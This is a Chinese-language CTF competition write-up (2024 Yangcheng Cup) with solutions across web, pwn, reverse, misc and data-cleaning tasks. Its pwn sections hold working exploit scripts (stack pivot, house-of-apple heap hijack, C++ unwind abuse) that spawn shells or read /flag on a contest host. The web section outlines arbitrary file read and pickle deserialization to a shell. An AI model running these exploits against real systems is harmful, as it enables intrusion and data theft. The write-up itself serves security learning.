UKFC2024 羊城杯WP

admin 2024年9月10日13:05:43评论23 views字数 24762阅读82分32秒阅读模式

Web

web1

思路是先上传一个执行命令的jar包,打两次才可以,第一次让JVM加载个恶意反序列化类,但是不会触发类加载,得第二次反序列化那个类才会去加载。

web2

?lyrics=***存在任意文件读取,

首先访问/lyrics?lyrics=/usr/etc/app/app.py,

/lyrics?lyrics=/usr/etc/app/cookie.py得到源码

import osimport randomfrom flask import Flask, make_response, request, render_templatefrom config.secret_key import secret_codefrom cookie import set_cookie, cookie_check, get_cookieimport pickleapp = Flask(__name__)app.secret_key = random.randbytes(16)class UserData:    def __init__(self, username):        self.username = usernamedef Waf(data):    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']    valid = False    for word in blacklist:        if word.lower() in data.lower():            valid = True            break    return valid@app.route("/", methods=['GET'])def index():    return render_template('index.html')@app.route("/lyrics", methods=['GET'])def lyrics():    resp = make_response()    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'    query = request.args.get("lyrics")    path = os.path.join(os.getcwd() + "/lyrics", query)    try:        with open(path) as f:            res = f.read()    except Exception as e:        return "No lyrics found"    return res@app.route("/login", methods=['POST', 'GET'])def login():    if request.method == 'POST':        username = request.form["username"]        user = UserData(username)        res = {"username": user.username}        return set_cookie("user", res, secret=secret_code)    return render_template('login.html')@app.route("/board", methods=['GET'])def board():    invalid = cookie_check("user", secret=secret_code)    if invalid:        return "Nope, invalid code get out!"    data = get_cookie("user", secret=secret_code)    if isinstance(data, bytes):        a = pickle.loads(data)        data = str(data, encoding="utf-8")    if "username" not in data:        return render_template('user.html', name="guest")    if data["username"] == "admin":        return render_template('admin.html', name=data["username"])    if data["username"] != "admin":        return render_template('user.html', name=data["username"])if __name__ == "__main__":    os.chdir(os.path.dirname(__file__))    app.run(host="0.0.0.0", port=8080)cookie.pyimport base64import hashlibimport hmacimport picklefrom flask import make_response, request# Compatibility layer for Python 3unicode = strbasestring = strsecret_code = "EnjoyThePlayTime123456"data=def cookie_encode(data, key):    msg = base64.b64encode(pickle.dumps(data, -1))    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())    return tob('!') + sig + tob('?') + msgdef cookie_decode(data, key):    data = tob(data)    if cookie_is_encoded(data):        sig, msg = data.split(tob('?'), 1)        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):            return pickle.loads(base64.b64decode(msg))    return Nonedef waf(data):    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']    valid = False    for word in blacklist:        if word in data:            valid = True            break    return validdef cookie_check(key, secret=None):    a = request.cookies.get(key)    data = tob(request.cookies.get(key))    if data:        if cookie_is_encoded(data):            sig, msg = data.split(tob('?'), 1)            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):                res = base64.b64decode(msg)                if waf(res):                    return True                else:                    return False            return True    else:        return Falsedef tob(s, enc='utf8'):    return s.encode(enc) if isinstance(s, unicode) else bytes(s)def get_cookie(key, default=None, secret=None):    value = request.cookies.get(key)    if secret and value:        dec = cookie_decode(value, secret)        return dec[1] if dec and dec[0] == key else default    return value or defaultdef cookie_is_encoded(data):    return bool(data.startswith(tob('!')) and tob('?') in data)def _lscmp(a, b):    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)def set_cookie(name, value, secret=None, **options):    if secret:        value = touni(cookie_encode((name, value), secret))        resp = make_response("success")        resp.set_cookie("user", value, max_age=3600)        return resp    elif not isinstance(value, basestring):        raise TypeError('Secret key missing for non-string Cookie.')    if len(value) > 4096:        raise ValueError('Cookie value too long.')def touni(s, enc='utf8', err='strict'):    return s.decode(enc, err) if isinstance(s, bytes) else unicode
(s)

/lyrics?lyrics=/usr/etc/app/config/secret_key.py下得到secret_code

一眼pickle反序列化,思路跟去年差不多,不过waf过滤了R指令,所以用o指令伪造session传递到pickle反序列化那弹shell。

Pwn

pwn1

一道板子栈溢出+栈迁移 迁移到bss段就行了 注意地址不要太低 否则会操作到不可写地址

from pwn import *p=remote('139.155.126.78',31216)#p=process('./pstack')elf=ELF("./pstack")def debug():    gdb.attach(p)    pause()context.arch='amd64'context.log_level='debug'libc=elf.libcpoprdi=0x0000000000400773poprsi2=0x0000000000400771leave=0x00000000004006dbbss=0x601a00payload1=b'a'*0x30+p64(bss)+p64(0x4006C4)payload2=p64(bss)+p64(poprdi)+p64(0x0000000000600fc8)+p64(0x4006BF )p.sendafter(b' overflow?n',payload1)p.send(payload2.ljust(0x30  ,b'x00')+p64(bss-0x30)+p64(leave))leak=u64(p.recv(6).ljust(8,b'x00'))-libc.symbols['puts']print(hex(leak))#debug()#p.sendline(b'11')p.send(p64(poprdi)+p64(leak+next(libc.search(b'/bin/shx00')))+p64(leak+libc.symbols['system'])+p64(leave)+p64(0)*2+p64(bss-0x30-8)+p64(leave))p.interactive()

pwn2

一道堆风水的屌丝菜单题

size限制的比较死 edit也只有一次机会

通过最后一个功能很容易获得这次edit的机会

漏洞很明显 free的时候指针未清除

那么把堆块大小分为大中小

Leak addr

通过构造大小两堆块 ,再相继free掉 在原来的地址申请两个中堆块 free前的指针残留了 而show检测的城市可以是起始点和目的地一致 恰好原位置对应索引都是0  简单show变能得到后面中堆块(也要free 可得到libc和heap地址)的残留地址

hijack

由于程序留了个edit 简单构造一下 glibc版本是2.35,打house of apple 拿edit功能写残留指针到largebin去完成

EXP

from pwn import *p=remote('139.155.126.78',39813)#p=process('./Travel')elf=ELF("./Travel")def debug():    gdb.attach(p)    pause()context.arch='amd64'context.log_level='debug'libc=elf.libccities = [    "guangzhou",  # 对应内存地址 0x5020    "nanning",    # 对应内存地址 0x5030    "changsha",   # 对应内存地址 0x5040    "nanchang",   # 对应内存地址 0x5050    "fuzhou"      # 对应内存地址 0x5060]def cmd(idx):    p.sendlineafter(b'istance.',str(idx))def add(tran,fromcity,to,l,cnt):    cmd(1)    p.sendlineafter(b'What kind of transportation do you want? car/train/plane?',str(tran))    p.sendlineafter(b'From where?',str(cities[fromcity]))    p.sendlineafter(b'To where?',str(cities[to]))    p.sendlineafter(b'How far?',str(l))    p.sendafter(b'Note:',cnt)def delete(fromcity,to):    cmd(2)    p.sendlineafter(b'From where?',str(cities[fromcity]))    p.sendlineafter(b'To where?',str(cities[to]))def show(fromcity,to):    cmd(3)    p.sendlineafter(b'From where?',str(cities[fromcity]))    p.sendlineafter(b'To where?',str(cities[to]))def edit(fromcity,to,idx,l,cnt):    cmd(4)    p.sendlineafter(b'From where?',str(cities[fromcity]))    p.sendlineafter(b'To where?',str(cities[to]))    p.sendlineafter(b'you want to change?',str(idx))    p.sendlineafter(b'How far?',str(l))    p.sendafter(b'Note:',cnt)def dij(fromcity):    cmd(5)    p.sendlineafter(b'Where do you want to travel?',str(cities[fromcity]))add('car',0,1,0x3e8,b'a'*0x500)add('car',1,2,0x3e8,b'b'*0x500)add('car',2,3,0x3e8,b'c'*0x500)dij(3)dij(3)dij(3)dij(3)add('car',0,2,0x3e8,b'a'*0x500)add('car',0,2,0x3e8,b'a'*0x500)add('car',0,4,0x3e7,b'geduan'*0x10)delete(0,2)add('train',0,3,0x3e8,b'a'*0x500)show(0,0)p.recvuntil(b'Note:')libc_base=u64(p.recv(6).ljust(8,b'x00'))-(0x773e01a1ace0-0x773e01800000)print('libc------_>',hex(libc_base))#debug()delete(0,4)add('train',1,3,0x3e8,b'chunk1'*20)#chunk1add('car',1,4,0x3e8,b'geduan'*20)delete(0,2)#edit(0,0,0,0x3e8,b'g'*8)add('car',2,4,0x3e8,b'chunk3'*2)#chunk2qqqqqqqqqqqqqqqqqqqqqqqqqqqdelete(1,3)add('plane',3,4,0x3e8,b'geduan'*20)delete(2,4)add('plane',3,4,0x3e8,b'geduan'*20)show(0,0)p.recvuntil(b'Note:')heap=u64(p.recv(6).ljust(8,b'x00'))add('car',2,4,0x3e8,b'c')#chunk21111111111111111111111111111111111111add('train',3,4,0x3e8,b'chunk1'*20)#chunk1#edit(0,0,0,0x3e8,p64(0)*3+p64(leak+libc.symbols['_IO_list_all']-0x20))delete(3,4)delete(2,4)delete(1,4)delete(0,3)add('plane',0,3,0x3e8,b'geduan'*20)add('train',0,4,0x3e8,b'geduan'*20)#chunk1print('libc------_>',hex(libc_base))print('heap------_>',hex(heap))add('plane',0,3,0x3e8,b'geduan'*20)lock = libc_base+(0x717c97a1ca60-0x717c97800000)magic_gadget=libc_base+0x00000000001136dfwfile = libc_base + libc.sym['_IO_wfile_jumps']setcontext=libc_base+libc.symbols['setcontext']+61rdi=0x000000000002a3e5+libc_basersi=0x000000000002be51+libc_baserdx2=0x000000000011f2e7+libc_baseheap+=0x30orw=0pl=p64(0)+p64(0) #2c0#_IO_list_allpl+=p64(0)*3 #2e0pl+=p64(0) #orw_addr =chunk0 ( fake_IO_addr )+ 0xe0 + 0xe8 + 0x70 -- _IO_save_base pl+=p64(0)*7pl+=p64(lock) #_lockpl+=p64(0)*2pl+=p64(heap + 0xe0) #370: chunk0+0xe0 -- _IO_wide_datapl+=p64(0)*6pl+=p64(wfile) #__GI__IO_wfile_jumps    p *(struct _IO_wide_data*)&_IO_wfile_jumps#_IO_wide_datapl+=p64(0)*0x1cpl+=p64(heap + 0xe0 + 0xe8) #_IO_jump_t (vtable)#_IO_jump_tpl+=p64(0)*0xdpl+=p64(magic_gadget)    #p  *(const struct _IO_jump_t *)pl+=flat({    0:'/flagx00',    0x18:p64(setcontext),    0x40:p64(heap+0xe0+0xe8+0x48),#rdx    0x78:p64(heap+0xe0+0xe8+0xe8),    0x80:p64(rdi),    0x88:p64(heap+0xe0+0xe8+0x70),    0x90:p64(rsi),    0xa0:p64(rdx2),    0xb8:p64(libc_base+libc.symbols['open']),    0xb8+8:p64(rdi),    0xc0+8:p64(3),    0xd0:p64(rsi),    0xd8:p64(heap+0xe0+0xe8),    0xe0:p64(rdx2),    0xe8:p64(0x50),    0xf0:p64(0x50),    0xf8:p64(libc_base+libc.symbols['read']),    0x100:p64(rdi),    0x108:p64(heap+0xe0+0xe8),    0x110:p64(libc_base+libc.symbols['puts'])},filler=b'x00')add('car',2,4,0x3e8,pl)#chunk2delete(0,4)add('plane',0,3,0x3e8,b'geduan'*20)delete(2,4)edit(0,0,0,0x3e8,p64(0)+p64(0x531)+p64(0)*3+p64(libc_base+libc.symbols['_IO_list_all']-0x20))add('plane',0,3,0x3e8,b'geduan'*20)# ► 0x7af376b136df <__spawni_child+1423>    mov    rdx, qword ptr [rax + 0xb0]#   0x7af376b136e6 <__spawni_child+1430>    call   qword ptr [rax + 0x88]#debug()# add('plane',0,3,0x3e8,b'a'*0x500+p64(0x521)*2+p64(0)+p64(0x3ee))#add('train',0,3,0x3e8,b'a'*0x500+2*p64(0x541))#delete(0,0)#delete(2,4)##add('plane',3,4,0x3e8,b'geduan'*20)#show(0,2)#p.recvuntil(b'aaaaaaaaaaaaaaaa')#leak=u64(p.recv(6).ljust(8,b'x00'))-(0x773e01a1ace0-0x773e01800000)##edit(0,2,0,0x3e8,p64(0x521))p.interactive()    

pwn3

popen命令执行 过滤了一些特殊符号 但是影响不大

很多思路 一个思路是将/flag cp 进/home/ctf/html,再直接读取即可

pwn4

一道沙盒题 UAF+house of apple劫持执行流板子题就不多说了

之后的沙盒部分详见博客记2024羊城杯的一道沙盒pwn题

pwn5

一道c++异常机制的板子题

题目内有后门 但是需要控制参数 而参数在功能1可覆写

了解原理后 功能2中进行栈溢出 控制bp为可写区域 返回地址为0x401bc7

在unwind堆栈回溯时即可跳转到这里继续执行

UKFC2024 羊城杯WP

from pwn import *p=remote('139.155.126.78',34230)#p=process('./logger')elf=ELF("./logger")def cmd(idx):    p.sendlineafter(b'chocie',str(idx))def add(cnt):    cmd(1)    p.sendafter(b'rd log details here:',cnt)    p.sendlineafter(b'ds?',b'y')def w(cnt):    cmd(2)    p.sendafter(b'our message here plz:',cnt)    add(p64(0x404020)+p64(0x404020)) add(p64(0x404030)*2) for i in range(7):    add('/bin/shx00'*2) #add(p64(0x48))    payload=p64(0x404020)+p64(elf.plt['system'])+0x60*b'a'+p64(0x404038)+p64(0x401BC7)   w(payload)p.interactive()

Misc

misc6

相同思路的一道题:

https://blog.csdn.net/weixin_42831646/article/details/127989608

文件名字解base64得到shift!

该磁盘文件使用FTK挂载,发现需要密码。先010查看得到

UKFC2024 羊城杯WP

进一步通过刚刚得到的shift!推测出密码是!@#$%^&

挂载成功得到

UKFC2024 羊城杯WP

发现修改日期不是19就是20,推断为0或1的二进制,转换后得到the_key_is_700229c053b4ebbcf1a3cc37c389c4fa

使用Encrypto解密得到flag

Reverse

plc

ida打开 patch掉反调试

首先读取输入,若长度不为5则退出

然后将输入作为rc4密钥进行s盒置换

v78[0] = main_main_func1;  v78[1] = v34;  v82 = v78;  v35 = v34;  All = io_ReadAll(off_4DD9D8, v34, v78, 0, 1, v36, v37, v38, v39, v63, v67);  v45 = v77->ptr;  if ( v77->len <= 1 )    runtime_panicIndex(1LL);  v75 = All;  v73 = v45[1];  v46 = runtime_makeslice(&RTYPE_uint8, v35, v35, 0, 1, v41, v42, v43, v44, v64, v68, v71);  v48 = v75;  v49 = v35;  for ( i = 0LL; v49 > i; ++i )    *(v46 + i) = v73 ^ *(v48 + i);  v51 = v76;  v52 = *(v76 + 1024);  v53 = *(v76 + 1025);  for ( j = 0LL; v49 > j; ++j )  {    v55 = *(v51 + 4LL * ++v52);    v53 += v55;    v56 = *(j + v46);    *(v51 + 4LL * v52) = *(v51 + 4LL * v53);    *(v51 + 4LL * v53) = v55;    v47 = (v55 + *(v51 + 4LL * v52));    *(v46 + j) = *(v51 + 4 * v47) ^ v56 ^ 0x11;  }  *(v51 + 1024) = v52;  *(v51 + 1025) = v53;  os_WriteFile("./flag.png", 10, v46, v49, v49, 420, v52, v53, v47, v65, v69, *v70, v72);  (*v82)();`

首先获取flag.png 然后将数据与输入的第二个字符异或后进行魔改rc4加密

rc4是单字节加密,且png文件头前八位不变,可以利用010读取加密过的flag文件头,然后仿写算法对密钥进行爆破

#include<stdio.h> #include<string.h>#define N 4010void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k){    unsigned int i = 0, j = 0;    char k[256] = { 0 };    unsigned char tmp = 0;    for (i = 0; i < 256; i++) {        s[i] = i;        k[i] = key[i % Len_k];    }    for (i = 0; i < 256; i++) {        j = (j + s[i] + k[i]) % 256;        tmp = s[i];        s[i] = s[j];        s[j] = tmp;    }}void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密{    unsigned char s[256];    rc4_init(s, key, Len_k);    int i = 0, j = 0, t = 0;    unsigned long k = 0;    unsigned char tmp;    for (k = 0; k < Len_D; k++) {        i = (i + 1) % 256;        j = (j + s[i]) % 256;        tmp = s[i];        s[i] = s[j];        s[j] = tmp;        t = (s[i] + s[j]) % 256;        Data[k] = Data[k] ^ s[t] ^0x11;    }}int main(){unsigned char key[]={30,30,30,30,30,0};unsigned long key_len = sizeof(key) - 1;unsigned char datat[]= {0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A};unsigned char data[] = {0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A};unsigned char tr[]={0x85,0x43,0x72,0x78,0x26,0xc0,0x2e,0x6e};int cnt=1;while(1){    rc4_crypt(data, sizeof(data), key, key_len);    for (int i=0;i<8;i++) data[i]^=key[1];    for (int i = 0; i < sizeof(data); i++){        if ((data[i])!=tr[i]){            break;        }        if (i==4) {            for (int j = 0; j < sizeof(key); j++){                printf("%c",key[j]);            }            return 0;        }    }    for (int i=0;i<8;i++) data[i]=datat[i];    for (int i=0;i<5;i++){        if (key[i]<125){            key[i]++;            break;        }else{            key[i]=30;        }        if (i==2) printf("%dn",key[4]);    }    if (key[4]==124) return 0;}return 0;}

爆破得到密码为0173d 利用rc4加密对称性,输入0173d即可还原flag

docCrack

https://www.52pojie.cn/thread-1634125-1-1.html

宏VBA密码工程文件密码破解

破解后看里面函数

tempPath = ThisDocument.Path & "temp1"        Set tempfile = fso.CreateTextFile(tempPath, True)        fso.GetFile(tempPath).Attributes = 1        tempfile.WriteLine xpkdb        tempfile.Close    batPath = ThisDocument.Path & "temp.bat"    Set batFile = fso.CreateTextFile(batPath, True)    fso.GetFile(batPath).Attributes = 2#改为1    batFile.WriteLine "@echo off"    batFile.WriteLine "cd /d " & ThisDocument.Path    batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe"    batFile.WriteLine "del temp"#删掉    batFile.WriteLine "temp.exe " & """" & Result & """"    batFile.Close    Set objExec = objShell.Exec(batPath)    Set objStdOut = objExec.StdOut    Do While Not objStdOut.AtEndOfStream        output = Trim(objStdOut.ReadLine)    Loop    output = Left(output, Len(output))    StartTime = Timer    Do While Timer < StartTime + 1        DoEvents    Loop    fso.DeleteFile batPath    fso.DeleteFile tempPath    If output = "good" Then        temp = MsgBox("good!!!", , "congratulations!!!")        Exit Do    Else        temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_??????")        isContinue = MsgBox("Continue?", vbYesNo + vbQuestion, "Warning")    End If

使用bat创建了一个temp.exe 执行后删除

我们修改代码使其可见并不被删除 执行宏 拖入ida

if ( argc == 2 )  {    for ( j = 0; j < j_strlen(argv[1]) && j < 0x36; ++j )      v7[j + 64] = argv1 << 6;    for ( j = 0; j < 0x36; ++j )    {      if ( v7[j] != v7[j + 64] )      {        sub_7FF77FF91190("bad");        return 0;      }    }    sub_7FF77FF91190("good");    return 0;  }  else  {    sub_7FF77FF91190("no way!!!");    return 1;  }//发现是将输入数据向左移6位 写脚本解密#include<stdio.h> #include<string.h>#define N 4010int main(){unsigned char ida_chars[] =    {      0xC0, 0x10, 0x00, 0x00, 0x80, 0x11, 0x00, 0x00, 0x00, 0x15,      0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0xC0, 0x14, 0x00, 0x00,      0x40, 0x10, 0x00, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x40, 0x14,      0x00, 0x00, 0x40, 0x19, 0x00, 0x00, 0x80, 0x19, 0x00, 0x00,      0x00, 0x16, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x00, 0x1D,      0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0xC0, 0x18, 0x00, 0x00,      0x80, 0x19, 0x00, 0x00, 0x40, 0x1A, 0x00, 0x00, 0x00, 0x18,      0x00, 0x00, 0x80, 0x18, 0x00, 0x00, 0x40, 0x1D, 0x00, 0x00,      0x00, 0x1A, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 0x00, 0x1D,      0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00,      0x80, 0x09, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x40, 0x11,      0x00, 0x00, 0x80, 0x0D, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00,      0x80, 0x19, 0x00, 0x00, 0x40, 0x1D, 0x00, 0x00, 0x80, 0x18,      0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0xC0, 0x0D, 0x00, 0x00,      0x40, 0x18, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x80, 0x12,      0x00, 0x00, 0x80, 0x19, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00,      0x40, 0x1D, 0x00, 0x00, 0xC0, 0x0D, 0x00, 0x00, 0x00, 0x16,      0x00, 0x00, 0x40, 0x14, 0x00, 0x00, 0x80, 0x0D, 0x00, 0x00,      0x40, 0x1D, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 0x80, 0x0C,      0x00, 0x00, 0x80, 0x18, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00,      0x80, 0x09, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x80, 0x09,      0x00, 0x00, 0x80, 0x1E, 0x00, 0x00    };for (int i=0;i<sizeof(ida_chars);i+=4){    printf("%c",((((ida_chars[i+1]<<8)|(ida_chars[i]))&0xffff)>>6));//CFTDSA|QefX6tXcfi`buhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z}

结果均为可见字符,这里随便猜一下是异或,将前六位异或“DASCTF”发现结果均为7

 char tt[]="CFTDSA|QefX6tXcfi`buhrt&&&XE6pfubX7aXJfdu7XQ6ur2bt&&&z";    for (int i=0;i<sizeof(tt);i++){        printf("%c",tt[i]^7);    }

得到flag

你这主函数保真吗

找到加密逻辑在__static_initialization_and_destruction_0函数里

挨个看,发现首先对输入进行ROT13,再进行离散余弦变换后与密文比较

for ( i = 0; i < size; ++i )  {    for ( j = 0; j < size; ++j )    {      v5 = *std::vector<int>::operator[](j, v10);      v2 = cos((j + 0.5) * (i * 3.141592653589793) / size);      v6 = v2 * v5;      v3 = std::vector<double>::operator[](i, v11);      *v3 = *v3 + v6;    }    if ( i )      v4 = sqrt(2.0 / size);    else      v4 = sqrt(1.0 / size);    v7 = v4;    eax9 = std::vector<double>::operator[](i, v12);    *eax9 = *eax9 * v7;  }  return retstr;//首先进行逆离散余弦变换,然后进行rot13解密#include <stdio.h>  #include <math.h>  char rot13(char c) {      // 检查字符是否为大写字母      if (c >= 'A' && c <= 'Z') {          return 'A' + (c - 'A' + 13) % 26;      }      // 检查字符是否为小写字母      else if (c >= 'a' && c <= 'z') {          return 'a' + (c - 'a' + 13) % 26;      }      // 其他字符保持不变      return c;  }  #define N 33 // DCT的大小  int main() {  double out[N] = { 513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.98641, -29.2989,    15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20771, 8.83506,    -4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,    -9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.689,    21.879, 26.8296/* 在这里填入你的DCT输出数据 */ };  double input[N];   double v2, v5, v6, v3;      // IDCT 计算      for (int i = 0; i < N; ++i) {          v3 = 0.0;          for (int j = 0; j < N; ++j) {              v5 = out[j]; // DCT系数              v2 = (j == 0) ? sqrt(1.0 / N) : sqrt(2.0 / N); // 权重              v6 = v2 * cos((i + 0.5) * (j * M_PI) / N); // 余弦函数              v3 += v5 * v6; // 累加结果          }          input[i] = v3; // 还原的输入值          printf("%c", (int)(input[i]+0.5));      }      printf("n");    char tt[]="QNFPGS{Ju0_1f_Zn1a_@aq_ShaaL_Qpg}";    for (int i=0;i<sizeof(tt);i++){            printf("%c",rot13(tt[i]));        }    return 0;  }

rustVM

题目难度简单 直接ida打开,看一眼逻辑

UKFC2024 羊城杯WP

进行一些初始化操作,随便输入一点东西动态调试跑起来

UKFC2024 羊城杯WP

这里进行长度检测和头尾检测,然后异或值匹配头部和尾部

UKFC2024 羊城杯WP

同样是比较头尾和检验长度的操作,应该是混淆

UKFC2024 羊城杯WP

UKFC2024 羊城杯WP

这里有一大坨0x3f加上位运算,调试发现是对输入base64

UKFC2024 羊城杯WP

然后传入关键函数,这个函数多次出现,flag经过base64转化为base64_res传入

UKFC2024 羊城杯WP

找到关键的vm函数,进行简单分析

UKFC2024 羊城杯WP

这里的opcode比较复杂,不同二进制位控制不同流程,上两位控制最外层,下位控制数组下标,这里写了一个加法器和一个异或器,下面还有一大堆重复调用,调试后发现a1[1048]决定a[1052]的大小,而在check里a[1052]必须为0,调试其他函数发现加法器并不影响值,直接断在异或处,反复调试拿到数据,异或一把梭。

import base64#aa = [0x18,0x18,0x33,0xb1,0x18,0x9,0x36,0xa4,0xe,0xa6,0x13,0x2a,0x1c,0x9e,0x33,0x1b,0xc,0x96,0x36,0x57,0x05,0x5d,0x26,0xad,0x0c,0xae,0x36,0x75,0xd,0x65,0x25,0xac,0xd,0x9,0x3,0x8c,0x10,0xa0,0x35,0x76,0x0e,0x47,0x16,0x2c,0x8,0x10,0x38,0x01,0x0e,]a = [0,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xA2,0x43,0x68,0x89,0x4,0x8f,0xB0,0x43,0x49,0x3A,0x18,0x39,0x72,0xc,0xBa,0x76,0x98,0x13,0x8b,0x46,0x33,0x2B,0x25,0xA2,0x8b,0x27,0xB7,0x61,0x7C,0x3F,0x58,0x56]b= [0x18,0xb1,0x9,0xa4,0xA6,0x2A,0x9E,0x1B,0x96,0x57,0x5D,0xAd,0xAE,0x75,0x65,0xAC,0x09,0x8C,0xA0,0x76,0x47,0x2C,0x10,0x01,0x7C,0x0f,0xBa,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2D,0x2D,0x9A,0x87,0x31,0xBa,0x43,0x70,0x2C,0x4C,0x56]cc=[]for i in range(0,len(a)):    cc.append(a[i]^b[i])print(cc)dd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=`"flag = ''for i in range(0,len(cc)):    # print(table[each],end='')    flag+= dd[cc[i]]print(base64.b64decode(flag.encode("utf-8")))

(还有frida爆破和ponce爆破的方法,未完待续)

数据安全

1

直接根据数据特征排序数据

import csvdef read_csv_file(file_path):    data = []    with open(file_path, 'r', encoding='utf-8') as file:        reader = csv.reader(file)        for row in reader:            data.append(row)    return datadef is_chinese_char(s):    for c in s:        if u'u4e00' <= c <= u'u9fa5':            return True    return Falsedef is_all_number(s):    try:        float(s)        return True    except ValueError:        return Falsedef is_date(s):    if is_all_number(s) and len(s) == 8:        yyyy,mm,dd=(int(s[:4]), int(s[4:6]), int(s[6:]))        if yyyy>=1900 and yyyy <=2100 and mm>0 and mm<13 and dd>0 and dd<32:            return True    return Falsedef is_lower_or_num(s):    return s.islower() or s.isdigit()def is_idcard(s):    if is_all_number(s) and len(s) == 18:        return True    elif len(s)==18 and is_all_number(s[:17]) and s[17:18] == "X":        return True    return False# 读取csv文件,返回一个列表file_path = 'person_data.csv'data_list = read_csv_file(file_path)ans=[]num=0for i in data_list:    if i[0] == "编号":        ans.append(i)        continue    num+=1    temp=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码']    for j in i:        if is_all_number(j) and int(j) == num:            temp[0]=j        elif j == "男" or j == "女":            temp[4] = j        elif is_chinese_char(j):            temp[3]=j        elif is_all_number(j) and len(j) == 11:            temp[7]=j        elif is_idcard(j):            temp[6]=j        elif is_date(j):            temp[5]=j        elif is_lower_or_num(j) and len(j) == 32:            temp[2]=j        else:            temp[1]=j            # print(num ,": error!!! | ",j)    ans.append(temp)with open("结果.csv", "w", newline="",encoding="utf-8") as f:    writer = csv.writer(f)    writer.writerows(ans)

2

使用wireshark导出所有json的http数据包,发现最多导出1000条。

经过尝试,没有解决这个问题,改为把所有json数据,保存为pcapng文件。

手动编辑文件,只保留可见字符,编写脚本提取数据。

import reimport jsonimport csvimport oswith open('1.pcapng', 'r',encoding="utf-8") as f_in:    for line in f_in:        match = re.search(r'{"username": .*?}', line)        if match:            match.group()            data = json.loads(match.group())            keys = list(data.keys())            values = list(data.values())            with open("user.csv", 'a', newline='', encoding="utf-8") as f:                csv_writer = csv.writer(f)                if os.path.getsize("user.csv") == 0:  # 如果csv文件为空,写入标题行                    csv_writer.writerow(keys)                             csv_writer.writerow(values)

对提取后的数据根据规范清洗数据。

import csvimport mathimport redef read_csv_file(file_path):    data = []    with open(file_path, 'r', encoding='utf-8') as file:        reader = csv.reader(file)        for row in reader:            data.append(row)    return datadef is_chinese_char(s):    for c in s:        if not(u'u4e00' <= c <= u'u9fa5'):            return False    return Truedef is_all_number(s):    try:        float(s)        return True    except ValueError:        return Falsedef check_username(s):    return bool(re.match('^[a-zA-Z0-9]+$', s))def check_id_card(id_card,sex,birth):    # 长度和格式校验    if len(id_card) != 18:        return False    W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]    check = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']    sum = 0  # 前17位累加和    for i in range(0, 17):        sum += int(id_card[i]) * W[i]    if id_card[17] != check[sum % 11]:        return False    else:        id_bitrh = id_card[6:14]        id_sex=""        if int(id_card[16]) % 2 == 1:            id_sex="男"        else:            id_sex="女"    if sex!=id_sex or birth!=id_bitrh:        return False    return Truedef check_phone(s):    m =[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]    if len(s) != 11 or not is_all_number(s):        return False    if int(s[:3]) not in m:        return False    return True# 读取csv文件,返回一个列表file_path = r'./user.csv'data_list = read_csv_file(file_path)# print(data_list)ans=[]ans1=[['username', 'name', 'sex', 'birth', 'idcard', 'phone']]for i in data_list:    if i[0] == "username":        ans.append(i)        continue    # temp=['username', 'name', 'sex', 'birth', 'idcard', 'phone']    errnum=0    if not check_username(i[0]):        print("username error!!! : ",i)        errnum+=1    if not is_chinese_char(i[1]):        print("name error!!! : ",i)        errnum+=1    if not check_id_card(i[4],i[2],i[3]):        print("idcard error!!! : ",i)        errnum+=1    if not check_phone(i[5]):        print("phone error!!! : ",i)        errnum+=1    if errnum!=0:        ans.append(i)    else:        ans1.append(i)with open("结果.csv", "w", newline="",encoding="utf-8") as f:    writer = csv.writer(f)    writer.writerows(ans)with open("ans.csv", "w", newline="",encoding="utf-8") as f:    writer = csv.writer(f)    writer.writerows(ans1)

3

观察log日志,编写脚本提取数据

